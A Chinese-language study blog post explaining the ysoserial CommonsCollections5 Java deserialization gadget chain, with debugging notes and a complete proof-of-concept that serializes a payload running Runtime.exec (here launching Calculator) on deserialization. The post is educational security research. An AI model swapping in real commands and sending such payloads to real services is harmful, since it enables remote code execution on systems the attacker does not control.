Java ysoserial学习之CommonsCollections5(四)

本文首发于微信公众号:谁不想当剑仙

本文最后更新于:2021年7月1日 晚上

庆祝我伟大的党百年华诞🎉

向伟大的祖国敬礼(‘-‘*ゞ

0x00 前言

上节说道在commons-collections-3.2.1.jar!/org/apache/commons/collections/keyvalue/TiedMapEntry.class类中,总共有三个函数调用了getValue函数:

  • toString CC5 本文重点

  • hashCode CC6

  • equals CC7

本文CommonsCollections6利用链的限制条件:

​ JDK版本:暂无限制、 CommonsCollections 3.1 - 3.2.1

实验环境:

​ JDK 1.8.0_261 、Commons-Collections 3.2.1

0x01 利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/*
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

Requires:
commons-collections
*/

这里重点看**BadAttributeValueExpException.readObject()TiedMapEntry.toString()**,其他的都和前面两章一样 Java ysoserial学习之CommonsCollections1(二)Java ysoserial学习之CommonsCollections6(三)

1.1 TiedMapEntry.toString()

上一节说过解决Java高版本利用问题,实际上就是在找是否还有其他调用 LazyMap#get() 的地方,因为LazyMap对象是只要执行get方法就会调用transform,而transform的特性是可以执行任意方法。

CC6中是在TiedMapEntry类中找到了hashCode方法中调用了map.get(key);,并且map是我们可控的image-20210630213657788

而CC5中则是利用了TiedMapEntry#toString方法image-20210630212357694

还是先实验一下,确定可以image-20210630214320487

但这还不够好,我们希望的是目标反序列化后直接触发命令的执行,因此我们需要找到一个类在反序列化后会直接触发 TiedMapEntry#toString 从而触发命令的执行。

1.2 BadAttributeValueExpException.readObject()

在ysoserial中是利用了 rt.jar!/javax/management/BadAttributeValueExpException.class#readObject方法来达到上述目的image-20210630214951419

这里我们可以看到BadAttributeValueExpException并没有实现Serializable接口,为什么可以序列化?image-20210701200642699

其实是BadAttributeValueExpException继承了ExceptionException又继承了ThrowableThrowable实现了Serializable接口image-20210701200756489

BadAttributeValueExpException#readObject中发现get函数获取val的值然后赋给valObj,然后在符合第二个else if的情况下就会调用toString, 巧的是 System.getSecurityManager() 返回值默认为nullimage-20210701201112074

这样就只需要可以控制val的值就可以执行命令了。

然后我们发现在构造函数中就可以控制val的值,可以直接将tiedMapEntry作为参数传进去。

注意:在构造函数中我们可以看到,当传入一个valval就不等于null,会调用一次toString()方法,也就是说,创建BadAttributeValueExpException对象时会弹出一次计算器,而在我们的构想中,反序列化时也会弹出一次,总共是次。image-20210630220727451

实验一下image-20210630221313347

但是,最终发现只弹了一次计算器,也就是说在反序列化时并没有执行toString方法,进而执行命令。

直接在BadAttributeValueExpException#readObject下断点Debug一下,会发现这时valObj是一个字符串了,直接进入了第一个 else if 判断中,并没有进入第二个 else if ,这是因为在创建BadAttributeValueExpException对象时,val已经执行过了一次toString方法,变成了字符串,所以匹配到了**第一个 else if **判断image-20210630221828997

要想改变val的值就需要用到前面反复提到的反射

1
2
3
4
5
// 利用反射修改 BadAttributeValueExpException 中的 val 为 tiedMapEntry
BadAttributeValueExpException bad = new BadAttributeValueExpException(1);
Field val = bad.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(bad, tiedMapEntry);

image-20210701204112054

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

/**
* @author yhy
* @date 2021/6/30 21:05
* @github https://github.com/yhy0
*/

/*
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

Requires:
commons-collections
*/
/*
This only works in JDK 8u76 and WITHOUT a security manager

https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70
*/

public class CommonCollections5 {
public static void main(String[] args) throws Exception {
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
new ConstantTransformer(1), // 隐藏错误信息
};
Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
//使用 LazyMap
Map outerMap = LazyMap.decorate(innerMap,transformerChain);

TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"yhy");
// tiedMapEntry.toString();

// 利用反射修改 BadAttributeValueExpException 中的 val 为 tiedMapEntry
BadAttributeValueExpException bad = new BadAttributeValueExpException(1);
Field val = bad.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(bad, tiedMapEntry);

// // 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(bad);

// 反序列化读取 out.bin 文件
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject();
}
}

0x02 参考

天下大木头师傅的 https://www.yuque.com/tianxiadamutou/zcfd4v/ac9529#55fcdbc0


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!

来杯奶茶